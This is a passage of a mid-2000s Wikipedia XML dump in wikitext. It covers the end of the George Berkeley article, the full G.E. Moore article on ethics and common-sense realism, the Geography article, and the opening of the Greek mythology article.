# The goal of all science, therefore, is to de-intellectualize or de-conceptualize, and thereby purify, our perceptions.

Theologically, one consequence of Berkeley's views is that they require [[God]] to be present as an immediate [[causality|cause]] of all our experiences.  God is not the distant engineer of [[Isaac Newton|Newtonian]] machinery that in the fullness of time led to the growth of a tree in the university's quadrangle. Rather, my perception of the tree is an idea that God's mind has produced in mine, and the tree continues to exist in the Quad when &quot;nobody&quot; is there simply because God is always there. 

The philosophy of [[David Hume]] concerning causality and objectivity is an elaboration of another aspect of Berkeley's philosophy. As Berkeley's thought progressed, he may have almost entirely assimilated his theories to those of [[Plato]], though this is far from certain. Luce, the most eminent Berkeley scholar of the twentieth century, constantly stressed the continuity of Berkeley's mature philosophy. This suggests a continuity between the Principles, Alciphron and the rest of Berkeley's philosophical works. Furthermore, Berkeley’s unwavering [[panentheism]] is evidence that counts against a complete assimilation with Platonism, and Alciphron is a development rather than a revision of anything in the earlier works. The fact that the main works were re-issued just a few years before Berkeley's death without major changes also counts against any theory which attributes to him a volte face.

Over a century later Berkeley's thought experiment was summarised in a [[Limerick (poetry)|limerick]] and reply by [[Ronald Knox]];
:''There was a young man who said &quot;God''
:''Must think it exceedingly odd''
::''If he finds that this tree''
::''Continues to be''
:''When there's no one about in the Quad.&quot;''

:''&quot;Dear Sir, your astonishment's odd;''
:''I am always about in the Quad''
::''And that's why this tree''
::''Will continue to be''
:''Since observed by Yours faithfully, God.&quot;''

In reference to Berkeley, Dr. [[Samuel Johnson]] kicked a heavy stone and exclaimed, &quot;Thus I refute him.&quot; But, Johnson only exhibited the commonplace misunderstanding of Berkeley. The only thing that Dr. Johnson knew about the stone was what he saw with his eyes, felt with his foot, and heard with his ears. That is, the ''existence'' of the stone consisted exclusively of Dr. Johnson's ''perceptions''. Other than that, the stone could possibly be anything imaginable: [[atom]]s, [[quarks]], electrical impulses, etc.. Whatever the stone was, apart from the sensations that he felt and the ideas or mental pictures that he perceived, was completely unknown to him and, therefore, was nothing to him. The kicked stone existed as an idea in his mind. Otherwise, it was nothing. 

Berkeley's ''[[Treatise Concerning the Principles of Human Knowledge]]'' was published three years before the publication of [[Arthur Collier]]'s ''[[Clavis Universalis]]'', which made assertions similar to those of Berkeley. However, there seemed to have been no influence between the two writers.

[[Schopenhauer]] wrote: &quot;Berkeley was, therefore, the first to treat the subjective starting-point really seriously and to demonstrate irrefutably its absolute necessity. He is the father of [[idealism]]....&quot; (''[[Parerga and Paralipomena]]'', Vol.I, &quot;Fragments for the History of Philosophy,&quot; § 12)

==The Analyst Controversy==
In addition to his contributions to philosophy, Bishop Berkeley was also very influential in the development of mathematics, although in a rather negative sense. In [[1734]] he published ''[[The Analyst]]'', subtitled ''A DISCOURSE Addressed to an Infidel Mathematician''. The infidel mathematician in question is believed to have been either [[Edmond Halley]], or Isaac Newton himself, although the discourse would then have been posthumously addressed as Newton died in [[1727]]. ''The Analyst'' represented a direct attack on the foundations and principles of [[calculus]], and in particular the notion of [[fluxion]] or [[infinitesimal]] change which Newton and [[Gottfried Leibniz|Leibniz]] had used to develop the calculus. 

Berkeley regarded his criticism of calculus as part of his broader campaign against the [[religion|religious]] implications of Newtonian mechanics &amp;ndash; as a defence of traditional Christianity against [[deism]], which tends to distance God from His worshippers.

As a consequence of the resulting controversy, the foundations of calculus were rewritten in a much more formal and rigorous form using [[limit]]s. It was not until [[1966]], with the publication of [[Abraham Robinson]]'s book ''[[non-standard analysis|Non-standard Analysis]]'', that the concept of the infinitesimal was made rigorous, thus giving an alternative way of overcoming the difficulties which Berkeley discovered in Newton's original approach.

== See also ==
* ''[[Tlön, Uqbar, Orbis Tertius]]''
* [[List of people on stamps of Ireland]]

== Bibliography ==
Primary:
Ewald, William B., ed., 1996. ''From Kant to Hilbert: A Source Book in the Foundations of Mathematics'', 2 vols. Oxford Uni. Press.
*1707. ''Of Infinites'', 16-19.
*1709. ''Letter to Samuel Molyneaux'', 19-21.
*1721. ''De Motu'', 37-54.
*1734. ''The Analyst'', 60-92.

Secondary:
* {{A Short Biographical Dictionary of English Literature}}
* Stanford Encyclopedia of Philosophy: [http://plato.stanford.edu/entries/berkeley/ George Berkeley] by Lisa Downing.

==External links==
{{Wikisourceauthor}}
* [http://www.georgeberkeley.org.uk A list of the published works by and about Berkeley as well as online links]
*{{gutenberg author|id=George_Berkeley|name=George Berkeley}}
* [http://www.utm.edu/research/iep/b/berkeley.htm Page in the Internet Encyclopedia of Philosophy]
* [http://www.bbc.co.uk/dna/h2g2/A3472986 Another perspective on how Berkeley framed his immaterialism]
* [http://www.maths.tcd.ie/pub/HistMath/People/Berkeley/Analyst/ Original texts and discussion concerning ''The Analyst'' controversy]
* [http://www-gap.dcs.st-and.ac.uk/~history/Mathematicians/Berkeley.html Biography at the University of St Andrews]
* [http://home.iitk.ac.in/~cat/berkeleybiblio A bibliography on George Berkeley]
* [http://plato.stanford.edu/entries/berkeley/ Entry on the Stanford Encyclopedia of Philosophy]
* [http://www.earlymoderntexts.com/ READABLE versions of Principles of Human Knowledge and Three Dialogues]

[[Category:1685 births|Berkeley, George]]
[[Category:1753 deaths|Berkeley, George]]
[[Category:18th century philosophers|Berkeley, George]]
[[Category:British philosophers|Berkeley, George]]
[[Category:Christian philosophers|Berkeley, George]]
[[Category:Early modern philosophers|Berkeley, George]]
[[Category:Empiricists|Berkeley, George]]
[[Category:Enlightenment philosophers|Berkeley, George]]
[[Category:Idealists|Berkeley, George]]
[[Category:Irish natural philosophers|Berkeley, George]]
[[Category:Irish philosophers|Berkeley, George]]
[[Category:People associated with Trinity College, Dublin|Berkeley, George]]

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    </revision>
  </page>
  <page>
    <title>George Edward Moore</title>
    <id>11959</id>
    <revision>
      <id>41056730</id>
      <timestamp>2006-02-24T19:55:08Z</timestamp>
      <contributor>
        <username>Oljimmy</username>
        <id>930125</id>
      </contributor>
      <text xml:space="preserve">:''&quot;G.E. Moore&quot; redirects here. For the cofounder of Intel, see [[Gordon Moore]].''

{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophy |
  era             = [[19th-century philosophy]], |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = GEMoore.jpg|
  image_caption   = George Edward Moore|

  &lt;!-- Information --&gt;
  name             = George Edward Moore|
  birth            = [[November 4]], [[1873]] |
  death            = [[October 24]], [[1958]] |
  school_tradition = [[Analytic philosophy]] |
  main_interests   = [[Ethics]], [[Philosophy of Language]], [[Epistemology]]|
  influences       = [[Gottlob Frege]], [[F. H. Bradley]], [[John McTaggart]]|
  influenced       = [[Bertrand Russell]] [[Ludwig Wittgenstein]], [[J. L. Austin]]|
  notable_ideas    = [[Naturalistic fallacy]], [[Moore's paradox]] |
}}

'''George Edward Moore''', also known as '''G.E. Moore''', ([[November 4]], [[1873]] &amp;ndash; [[October 24]], [[1958]]) was a distinguished and hugely influential English [[philosopher]] who was educated and taught at the [[University of Cambridge]].  He was, with [[Bertrand Russell]], [[Ludwig Wittgenstein]], and (before them) [[Gottlob Frege]], one of the founders of the [[analytic philosophy|Analytic]] tradition in philosophy.

Moore is best known today for his defense of [[ethical non-naturalism]], his emphasis on [[common sense]] in philosophical method, and the [[Moore's paradox|paradox which bears his name]]. He was admired by and influential among other philosophers, but (unlike his friend and colleague Russell) mostly unknown today outside of academic philosophy. Moore's essays are known for his clear, circumspect writing style, and for his methodical and patient approach to philosophical problems. Among his most famous works are his book ''[http://fair-use.org/g-e-moore/principia-ethica Principia Ethica]'', and his essays, &quot;The Refutation of Idealism&quot;, &quot;[[A Defence of Common Sense]]&quot;, and &quot;A Proof of the External World&quot;.

G.E. Moore died on [[October 24]], [[1958]] and was interred in the Burial Ground of Parish of the Ascension, [[Cambridge]], [[England]]. The poet [[Nicholas Moore]] and the composer Timothy Moore were his sons. His life was written by [[Paul Levy]], in  ''Moore: G.E. Moore and the Cambridge Apostles'' (1979).

==Ethics==
Moore is also well-known for the so-called &quot;[[open question argument]],&quot; which is contained in his (also greatly influential) ''[http://fair-use.org/principia-ethica Principia Ethica].''  The ''Principia'' is one of the main inspirations of the movement against [[ethical naturalism]] (see [[ethical non-naturalism]]) and is partly responsible for the twentieth-century concern with [[meta-ethics]].

===The Naturalistic Fallacy===
Moore charged that most other philosophers who worked in ethics had made a mistake he called the &quot;[[Naturalistic fallacy]]&quot;. The business of ethics, Moore agreed, is to discover the qualities that make things good. So, for example, [[hedonism|hedonists]] about value claim that the quality ''being pleasant'' is what makes things good; other theorists could claim that ''complexity'' is what makes things good. With this project Moore has no quarrel. What he objects to is the idea that, in telling us the qualities that make things good, ethical theorists have thereby given us an analysis of the term 'good' and the property ''goodness''. Moore regards this as a serious confusion. To take an example, a hedonist might be right to claim that something is good just in case it is pleasant. But this does not mean, Moore wants to insist, that we can define value in terms of pleasure. Telling us what qualities make things valuable is one thing; analyzing value is quite another.

===Open Question Argument===
{{main|Open Question Argument}}

Moore's argument for the indefinability of &amp;#8220;good&amp;#8221; (and thus for the fallaciousness of the &amp;#8220;naturalistic fallacy&amp;#8221;) is often called the [[Open Question Argument]]; it is presented in [http://fair-use.org/g-e-moore/principia-ethica/s.13 &amp;sect;13 of ''Principia Ethica'']. The argument hinges on the nature of statements such as &quot;Anything that is pleasant is also good&quot; and the possibility of asking questions such as &quot;Is it ''good'' that x is pleasant?&quot; According to Moore, these questions are ''open'' and these statements are ''significant''; and they will remain so no matter what is substituted for &quot;pleasure&quot;. Moore concludes from this that any analysis of value is bound to fail. In other words, if value could be analyzed, then such questions and statements would be trivial and obvious. Since they are anything but trivial and obvious, value must be indefinable. Critics of Moore's arguments sometimes claim that he is appealing to general puzzles concerning analysis (cf. the [[paradox of analysis]]), rather than revealing anything special about value. Other responses appeal to the [[Frege|Fregean]] distinction between [[sense and reference]], allowing that value concepts are special and ''sui generis'', but insisting that value properties are nothing but natural properties (this strategy is similar to that taken by [[physicalism|non-reductive materialists]] in [[philosophy of mind]]).

===Good as indefinable===
Moore contended that goodness cannot be analyzed in terms of any other property.  In ''[http://fair-use.org/g-e-moore/principia-ethica Principia Ethica],'' he writes:

: It may be true that all things which are good are also something else, just as it is true that all things which are yellow produce a certain kind of vibration in the light. And it is a fact, that Ethics aims at discovering what are those other properties belonging to all things which are good. But far too many philosophers have thought that when they named those other properties they were actually defining good; that these properties, in fact, were simply not &quot;other,&quot; but absolutely and entirely the same with goodness. ([http://fair-use.org/g-e-moore/principia-ethica/s.10#s10p3 &amp;sect; 10 &amp;para; 3])

Therefore, the only definition we can give of &quot;good&quot; is an [[Ostensive definition|ostensive]] one; that is, we can only point to an action or a thing and say &quot;That is good.&quot;  Similarly, we cannot describe to a blind man exactly what yellow is.  We can only show a sighted man a piece of yellow paper or a yellow scrap of cloth and say &quot;That is yellow.&quot;

===Good as a non-natural property===
In addition to categorizing &quot;good&quot; as indefinable, Moore also emphasized that it is a non-natural property.  That is, two objects that are [[Qualitative identity|qualitatively identical]] cannot have different values.  There cannot be two yellow shirts that are identical in every way (same shade of yellow, made at the same factory, the same brand name, the same style, etc...) except for their reception of the predication of &quot;good&quot; (one cannot be good and the other not good).  An object's property of &quot;good&quot; is determined by what other properties the object has.  It is a property that is a product of having other properties.  Therefore, if two objects are qualitatively identical, they must have the same value of &quot;good&quot;.

===Moral knowledge===
To support his proposed arguments, Moore contended that man has a &quot;moral intuition&quot; that helps him locate what exactly is &quot;good&quot;.  In this he was a follower of [[Ethical intuitionism]].

==Proof of an External World==
One of the most important parts of Moore's philosophical development was his break from the [[idealism]] that dominated British philosophy (as represented in the works of his former teachers [[F. H. Bradley]] and [[John McTaggart]]), and his defense of what he regarded as a &quot;[[common sense]]&quot; form of [[Philosophical realism|realism]]. In his 1925 essay &quot;[[A Defence of Common Sense]]&quot; he argued against idealism and [[skepticism]] toward the external world on the grounds that they could not give reasons to accept their metaphysical premises that were more plausible than the reasons we have to accept the common sense claims about our knowledge of the world that skeptics and idealists must deny. He famously put the point into dramatic relief with his 1939 essay &quot;Proof of an External World&quot;, in which he gave a common sense argument against skepticism by raising his right hand and saying &quot;Here is one hand,&quot; and then raising his left and saying &quot;And here is another,&quot; then concluding that there are at least two external objects in the world, and therefore that he knows (by this argument) that an external world exists. Not surprisingly, not everyone inclined to skeptical doubts found Moore's method of argument entirely convincing; Moore, however, defends his argument on the grounds that skeptical arguments seem invariably to require an appeal to &quot;philosophical intuitions&quot; that we have considerably less reason to accept than we have for the common sense claims that they supposedly refute. (In addition to fueling Moore's own work, the &quot;Here is one hand&quot; argument also deeply influenced [[Ludwig Wittgenstein|Wittgenstein]], who spent his last weeks working out a new approach to Moore's argument in the remarks that were published posthumously as ''[[On Certainty]]''.)

==Language==
Moore is also remembered for drawing attention to the peculiar inconsistency involved in uttering a sentence such as &quot;It will rain but I don't believe that it will&quot;--a puzzle which is now commonly called &quot;[[Moore's paradox]]&quot;. The puzzle arises because it seems impossible for anyone to consistently ''assert'' such a sentence; but there doesn't seem to be any ''logical contradiction'' between &quot;It will rain&quot; and &quot;I don't believe that it will rain&quot;. (Indeed, it is not unusual for such conjunctions to be ''true'' &amp;#8212; for example, whenever I am wrong about the weather forecast.)

In addition to Moore's own work on the paradox, the puzzle also inspired a great deal of work by [[Ludwig Wittgenstein]], who described the paradox as the most impressive philosophical insight that Moore had ever introduced.

==Organic Wholes==

Moore’s description of the principle of organic unity is extremely straightforward; nonetheless, it is a principle that seems to have generally escaped ethical philosophers before his time:

: The value of a whole must not be assumed to be the same as the sum of the values of its parts (Principia, [http://fair-use.org/g-e-moore/principia-ethica/s.18 &amp;sect; 18]).

According to Moore, a moral actor cannot survey the “goodness” inherent in the various parts of a situation, assign a value to each of them, and then generate a sum in order to get an idea of its total value. A moral scenario is a complex assembly of parts, and its total value is often created by the relations between those parts, and not by their individual value.  The organic metaphor is thus very appropriate: biological organisms seem to have emergent properties which cannot be found anywhere in their individual parts.  For example, a human brain seems to exhibit a capacity for thought when none if its neurons exhibit any such capacity.  In the same way, a moral scenario can have a value far greater than the sum of its component parts.

To understand the application of the organic principle to questions of value, it is perhaps best to consider Moore’s primary example, that of a consciousness experiencing a beautiful object.  To see how the principle works, a thinker engages in “reflective isolation”, the act of isolating a given concept in a kind of null-context and determining its intrinsic value.  In our example, we can easily see that per sui, beautiful objects and consciousnesses are not particularly valuable things.  They might have some value, but when we consider the total value of a consciousness experiencing a beautiful object, it seems to exceed the simple sum of these values (Principia 18:2).


{{sectstub}}

==Works Online==
* G. E. Moore, [http://fair-use.org/mind/1899/04/the-nature-of-judgment &quot;The Nature of Judgment&quot;] (1899)
* G. E. Moore, ''[http://fair-use.org/g-e-moore/principia-ethica/ Principia Ethica]'' (1903)
* G. E. Moore, [http://fair-use.org/international-journal-of-ethics/1903/10/book-reviews/the-origin-of-the-knowledge-of-right-and-wrong Review of Franz Brentano's ''The Origin of the Knowledge of Right and Wrong''] (1903)
* G. E. Moore, [http://www.ditext.com/moore/refute.html The Refutation of Idealism] (1903)
* G. E. Moore, ''[http://fair-use.org/g-e-moore/ethics Ethics]'' (1912)

==External Resources==
* Summary of life and work of G. E. Moore at http://www.philosophypages.com/ph/moor.htm
* The Stanford Encyclopedia of Philosophy
**[http://plato.stanford.edu/entries/moore/ G.E. Moore]
**[http://plato.stanford.edu/entries/moore-moral/ G.E. Moore's Moral Philosophy]

==Books==

*''Moore: G.E. Moore and the Cambridge Apostles'' by [[Paul Levy]] (1979), ISBN 9780030536168

*''A Defense of Realism: Reflections on the Metaphysics of G. E. Moore'' by [[E.D. Klemke]] ISBN 1573927325

==Sources==
#G.E. Moore, ''On Defining &quot;Good,&quot;'' in Analytic Philosophy: Classic Readings, Stamford, CT: Wadsworth, 2002, pp.1-10. ISBN 0-534-51277-1.

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[[Category:Atheist philosophers|Moore, G.E.]]

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  <page>
    <title>Geography</title>
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      <text xml:space="preserve"> [[Image:Physical_world.jpg|thumb|333px|right|Map of the Earth ([[:Image:Physical_world.jpg|Medium]]) ([[:Image:World-map-2004-cia-factbook-large-2m.jpg|Large 2 MB]])]]
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'''Geography''' is the description of the surface of the [[Earth]], its life and culture.  The word comes from the [[Greek language|Greek]] words '''[[Gaia (mythology)|Ge]]''' (''&amp;gamma;&amp;eta;'') or '''Gaea''' (''&amp;gamma;&amp;epsilon;&amp;iota;&amp;alpha;''), both meaning '''&quot;Earth&quot;''', and '''graphein''' (''&amp;gamma;&amp;rho;&amp;alpha;&amp;phi;&amp;epsilon;&amp;iota;&amp;nu;'') meaning '''&quot;to describe&quot;''' or &quot;to write&quot;.  Modern geography is an amazingly diverse subject that draws upon almost every other arena of knowledge, and contributes to a great many as well. 

&lt;blockquote&gt;''&quot;Mere place names are not geography. To know by heart a whole gazeteer full of them would not, in itself, constitute anyone a geographer. Geography has higher aims than this... to trace out the great laws of nature and to mark their influence upon man. In a word, geography is a science, a thing not of mere names, but of argument and reason, of cause and effect.&quot;''  -- [[William Hughes]] (King's College, 1863) &lt;!-- - who taught the geography of the Holy Lands to divinity students at King's College London defined geography in an address in 1863: --&gt;

&lt;/blockquote&gt;

Some geographers are inspired more by biology and economics, while others use concepts taken from subjects such as sociology, psychology and other sciences.  
Modern Geography now includes humanity in adition to the physical world, so geographers tend to specialise in one of the broad branches of the subject.

=== Physical geography ===

[[Physical geography]] (or physiogeography) focuses on geography as an [[Earth science]]. It aims to understand the physical layout of the Earth, its weather and global [[flora (plants)|flora]] and [[fauna (animals)|fauna]] patterns. 

Physical geography relies on the following fields of study: 

* [[Geology]]
* [[Geomorphology]]
* [[Hydrology]]
* [[Glaciology]]
* [[Biogeography]]
* [[Climatology]]
* [[Soil science]]
* [[Coastal geography|Coastal/Marine studies]]
* [[Geodesy]]
* [[Palaeogeography]] and [[paleoclimatology]]
* [[Environmental geography|Environmental Geography]] and management
* [[Landscape ecology]]
* [[Oceanography]]

=== Human geography ===
  
'''[[Human geography]]''' is a branch of geography that focuses on the study of patterns and processes that shape human interaction with various environments. It encompasses [[human]], [[political]], [[cultural]], [[social]], and [[economics|economic]] aspects. While the major focus of human geography is not the physical landscape of the Earth (see [[physical geography]]) it is hardly possible to discuss human geography without referring to the physical landscape on which human activities are being played out, and [[environmental geography]] is emerging as a link between the two.

Human geography can be divided into many broad categories, such as: 

* [[Economic geography]]
* [[Development geography]]
* [[Population geography]] or [[Demography]]*
* [[Urban geography]] 
* [[Social geography]]
* [[Behavioral geography]]
* [[Cultural region|Cultural geography]]
* [[Political geography]], including [[Geopolitics]]* 
* [[Historical geography]]
* [[Regional science]] (Regional geography)
* [[Tourism geography]]
* [[Strategic geography]]
* [[Military geography]]
* [[Feminist geography]]

&lt;nowiki&gt;*&lt;/nowiki&gt; Distinction between these fields of study have become increasingly blurred over time and the above list should not be considered definitive.

Related topics: [[Countries of the world]] - [[Country]] - [[Nation]] - [[State]] - [[Personal union]] - [[Province]] - [[County]] - [[City]] - [[Municipality]] - [[Central_Place_Theory|Central place theory]] - [[Urban morphology]]

=== Socio-environmental geography ===

During the time of environmental determinism, geography was defined not as the study of spatial relationships, but as the study of how humans and the natural environment interact. Though environmental determinism has lost support, there remains a strong tradition of geographers addressing the relationships between people and nature. There are two main subfields of socio-environmental geography: 
* cultural and political ecology (CAPE) and 
* risk-hazards research.

==== Cultural and political ecology ====

Cultural ecology grew out of the work of [[Carl O. Sauer|Carl Sauer]] in geography and a similar school of thought in [[anthropology]]. It examined how human societies adapt themselves to the natural environment. [[Sustainability]] science has been one important outgrowth of this tradition. Political ecology arose when some geographers used aspects of [[critical geography]] to look at relations of power and how they affect people's use of the environment. For example, an influential study by [[Michael Watts]] argued that famines in the [[Sahel]] are caused by the changes in the region's [[political system|political]] and [[economic system]] as a result of [[colonialism]] and the spread of [[capitalism]].

==== Risk-hazards research ====

Research on hazards began with the work of geographer [[Gilbert F. White]], who sought to understand why people live in disaster-prone floodplains. Since then, the hazards field has expanded to become a multidisciplinary field examining both natural hazards (such as [[earthquake]]s) and technological hazards (such as [[nuclear reactor]] meltdowns). Geographers studying hazards are interested in both the dynamics of the hazard event and how people and societies deal with it.

=== Historical geography ===

Historical geography seeks to determine how cultural features of various societies across the planet emerged and evolved, by understanding their interaction with their local environment and surroundings.

For some in the United States, the term ''historical geography'' has a more specialized meaning: the name given by [[Carl O. Sauer|Carl Ortwin Sauer]] of the [[University of California, Berkeley]] to his program of reorganizing cultural geography (some say all geography) along regional lines, beginning in the first decades of the [[20th century]].  To Sauer, a landscape and the cultures in it could only be understood if all of its influences through history were taken into account: physical, cultural, economic, political, environmental.  Sauer stressed regional specialization as the only means of gaining sufficient expertise on regions of the world.  Sauer's philosophy was the principal shaper of American geographic thought in the mid-20th century.  Regional specialists remain in academic geography departments to this day.  But some geographers feel that it harmed the discipline; that too much effort was spent on data collection and classification, and too little on analysis and explanation.   Studies became more and more area-specific as later geographers struggled to find places to make names for themselves.  These factors may have led in turn to the [[Quantitative_revolution#The_1950s_Crisis_in_Geography|1950s crisis in geography]], which raised serious questions about geography as an academic discipline in the United States.

==History of geography==
:''See main article: [[History of geography]]
[[Image:Marco_Polo._Map_of_explore.jpg|right|thumb|Map of the journeys of [[Marco Polo]].]]
The [[ancient Greece|Greek]]s are the first known culture to actively explore geography as a [[science]] and [[philosophy]].  Mapping by the [[Roman Empire|Roman]]s as they explored new lands added new techniques.  During the [[Middle Ages]], [[Arab]]s such as [[Idrisi]], [[Ibn Batutta]], and [[Ibn Khaldun]] maintained the Greek and Roman techniques and developed new ones.  

Following the journeys of [[Marco Polo]], interest in geography spread throughout [[Europe]]. The great voyages of exploration in [[16th century|16th]] and [[17th century|17th centuries]] revived a desire for both accurate geographic detail, and more solid theoretical foundations. This period is also known as [[Great Geographical Discoveries]]. By the [[18th century]], geography had become recognized as a discrete discipline and became part of a typical [[university]] curriculum in [[Europe]] (especially [[Paris]] and [[Berlin]]).

Over the past two centuries the quantity of knowledge and the number of tools has exploded. There are strong links between geography and the sciences of [[geology]] and [[botany]], as well as [[economics]], [[sociology]] and [[demographics]]. In the West during the [[20th century]], the discipline of geography went through four major phases: [[environmental determinism]], [[regional geography]], the [[quantitative revolution]], and [[critical geography]].

== Geographic techniques ==
As spatial interrelationships are key to this [[synoptic science]], [[map]]s are a key tool.  Classical [[cartography]] has been joined by a more modern approach to geographical analysis, computer-based [[geographic information system|geographic information systems]] (GIS).

* ''[[Cartography]]'' studies the representation of the Earth's surface with abstract symbols (map making). Although other subdisciplines of geography rely on maps for presenting their analyses, the actual making of maps is abstract enough to be regarded separately. Cartography has grown from a collection of drafting techniques into an actual science.  Cartographers must learn [[cognitive psychology]] and ergonomics to understand which symbols convey information about the Earth most effectively, and [[behavioral psychology]] to induce the readers of their maps to act on the information.  They must learn [[geodesy]]  and fairly advanced [[mathematics]] to understand how the shape of the Earth affects the distortion of map symbols projected onto a flat surface for viewing. It can be said, without much controversy, that cartography is the seed from which the larger field of geography grew. Most geographers will cite a childhood fascination with maps as an early sign they would end up in the field.

[[Image:31b.jpg|thumb|right|[[Geographic_information_system|GIS]] software.]]
&lt;!-- the following singular verb for a seemingly plural noun is intentional. The name of the academic subject is &quot;Geographic information systems&quot;.  If you didn't care about parallel construction, you could precede the following with THE SUBJECT OF ---&gt;
* ''[[Geographic_information_system|Geographic information systems (GIS)]]'' deal with the storage of information about the Earth for automatic retrieval by a computer, in an accurate manner appropriate to the information's purpose. In addition to all of the other subdisciplines of geography, GIS specialists must understand [[computer science]] and [[database]] systems. GIS has revolutionized the field of cartography; nearly all mapmaking is now done with the assistance of some form of GIS software. 

* ''Geographic quantitative methods'' deal with numerical methods peculiar to (or at least most commonly found in) geography.  In addition to [[spatial analyses]], you are likely to find things like [[cluster analysis]], [[discriminant analysis]], and [[non-parametric statistical tests]] in geographic studies.

* ''Geographic qualitative methods'', or [[ethnographic]] research techniques, are used by human geographers. In cultural geography there is a tradition of employing [[qualitative research]] techniques also used in [[anthropology]] and [[sociology]]. [[Participant Observation]] and [[in-depth interviews]] provide human geographers with qualitative data.

In their study, geographers use four interrelated approaches:  
* Systematic - Groups geographical knowledge into categories that can be explored globally.
* Regional - Examines systematic relationships between categories for a specific region or location on the planet.
* Descriptive - Simply specifies the locations of features and populations.
* Analytical - Asks ''why'' we find features and populations in a specific geographic area.

== Related fields ==
=== Urban, regional and spatial planning ===

[[Urban planning]], [[regional planning]] and [[spatial planning]] use the science of geography to assist in determining how to develop (or not develop) the land to meet particular criteria, such as safety, beauty, economic opportunities, the preservation of the built or natural heritage, and so on. The planning of towns, cities and rural areas may be seen as applied geography although it also draws heavily upon engineering, the arts, the sciences,  lessons of history, and politics. Some of the issues facing planning are considered briefly under the headings of [[rural exodus]], [[urban exodus]] and [[smart growth]].

=== Regional science ===

In the [[1950s]] the [[regional science]] movement led by [[Walter Isard]] arose, to provide a more quantitative and analytical base to geographical questions, in contrast to the more qualitative tendencies of traditional geography programs.  Regional science comprises the body of knowledge in which the spatial dimension plays a fundamental role, such as [[regional economics]], [[resource management]], [[location theory]], [[urban planning|urban]] and [[regional planning]], [[transport]] and [[communication]], [[human geography]], [[population distribution]], [[landscape ecology]], and environmental quality.

==Reference==
* [[M. Ismail Marcinkowski]], ''Persian Historiography and Geography: Bertold Spuler on Major Works Produced in [[Iran]], the [[Caucasus]], [[Central Asia]], [[India]] and Early [[Ottoman Turkey]], with a foreword by Professor Clifford Edmund Bosworth'', member of the [[British Academy]], Singapore: Pustaka Nasional, 2003, ISBN 9971774887.

== See also ==
*[[List of geography topics]]
*[[:Category:Geographical_term_stubs|Geographical terms]]
*[[List of countries]]
*[[List of reference tables#Geography and places|Geography reference tables]]
*[[Map]]
*[[Geographical renaming]]
*[[National Geographic Society]] ([[United States]])
*[[National Geographic Bee]] (United States)
*[[Royal Geographical Society]] ([[United Kingdom]])
*[[List of geographers]]

==External links==
* [http://www.confluence.org/ Confluence.org - A work in progress, involving travelling to every point on the globe where the lines of longitude and latitude intersect and taking a photograph in each direction.]
* [http://www.aag.org/ Association of American Geographers]
* [http://www.gisuser.com/ GISuser.com, information-rich portal about GIS]
* [http://www.populationdata.net/ PopulationData.net]
* [http://www.freemaps.de/ Free Maps Germany]
* [http://www.talkgeography.com/ Geography discussion forums]
* [http://www.ericdigests.org/1996-4/high.htm Using Literature To Teach Geography in High Schools. ERIC Digest.]
* [http://ericdigests.org/1992-5/geography.htm Teaching Geography at School and Home. ERIC Digest.]
* [http://ericdigests.org/1996-1/geography.htm The National Geography Content Standards. ERIC Digest.]
* [http://www.geo-guide.de Geo-Guide] extensive list of academic resources on geography and earth science
* [http://www.geopium.org Geopium: Geopolitics of Illicit Drugs in Asia]
* [http://www.nationalgeographic.com/ National Geographic Online]
* [http://www.rgs.org Royal Geographical Society]
* [http://www.rcgs.org Royal Canadian Geographical Society]
* [http://www.canadiangeographic.ca Canadian Geographic]
* [http://hypergeo.free.fr Hypergeo : Geographical Encyclopedia]
*[http://www.rare-maps.com/links.cfm Antique and Rare Maps - Art Source International] - Links to rare and antique maps and to cartography resources.
* [http://www.mapinfo.com/ MapInfo GIS Software]
* [http://www.sheppardsoftware.com/ Excellent Free Online Geography-Learning Games from Sheppard Software]
[[Category:Geography| ]]
[[Category:School subjects]]
[[Category:Top 10| Geography]]

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    <title>Greek mythology</title>
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      <comment>Reverted edits by [[Special:Contributions/66.250.190.115|66.250.190.115]] ([[User talk:66.250.190.115|talk]]) to last version by Naconkantari</comment>
      <text xml:space="preserve">{{Greek myth}}
'''[[Greece|Greek]] [[mythology]]''' consists of a large collection of narratives detailing the lives and adventures of a wide variety of [[Greek gods|gods, goddesses, heroes, and heroines]], which were first envisioned and disseminated in an [[oral tradition|oral-poetic tradition]]. Our surviving sources of mythology are literary reworkings of this oral tradition, supplemented by interpretations of [[icon]]ic imagery, sometimes modern ones, sometimes ancient ones, as myth was a means for later Greeks themselves to throw light on cult practices and traditions that were no longer explicable. The historian must sometimes deduce from hints in imagery, such as in vase paintings, and offhand references the recognition of mythic themes tacitly expressed in [[cult (religion)|cult practice]]. 

In the wide variety of Greek legends and stories, the ancient gods all appear in human form: the few [[chimera|chimerical beings]] such as the [[Sphinx]] all have [[Near East]]ern or [[Anatolia]]n origins. Despite the fact that many Gods have birth myths attributed to them, none of them ever age. No sicknesses affect them, and there are precious few ways to wound a god. They have the ability to conceal themselves from human beings, they can transport themselves anywhere in the blink of an eye,  and they are able to speak through people without their knowledge. Each god possesses a distinct appearance, descends from his or her own genealogy, pursues differing interests, has a certain area of expertise, and is governed by a unique personality; however, these descriptions arise from a multiplicity of archaic local variants, which do not always agree with one another. When these gods were called upon in poetry, prayer or cult, they are referred to by a combination of their name and [[epithet]]s, that identify them by these distinctions from other manifestations of themselves. A Greek deity's epithet may reflect a particular aspect of that god's role, as ''Apollo Musagetes'' is &quot;[[Apollo]], [as] leader of the [[Muse]]s.&quot; Alternatively the epithet may identify a particular and localized aspect of the god, sometimes thought to be already ancient during the classical epoch of Greece. 

In such mythic narratives, we are told that the gods are all part of a huge family, spanning multiple generations. The oldest of the gods were responsible for the creation of the world, but younger gods usurped their power. In many familiar epic poems set in the &quot;age of heroes,&quot; the twelve Olympians are said to have appeared in person. In order to help out the Greeks' primitive ancestors, the gods performed miracles, instructed them in various areas of practical knowledge, taught them proper methods of worship, rewarded good behavior and chastised immorality, and even had children with them. 

==Nature and Sources of Greek Mythology==
The general issues in studying myths are discussed in the [[mythography]] article. While all cultures throughout the world have their own [[Mythology|myth]]s, the term '''mythology''' is a Greek coinage and had a specialized meaning within Greek culture.

The Greek term ''mythologia'' is a compound of two smaller words:
* '''mythos''' &amp;mdash; which in [[Homer|Homeric]] [[Classical Greek|Greek]] means roughly &quot;a ritualized [[speech act]]&quot;, as of a chieftain at an assembly, or of a poet or priest.
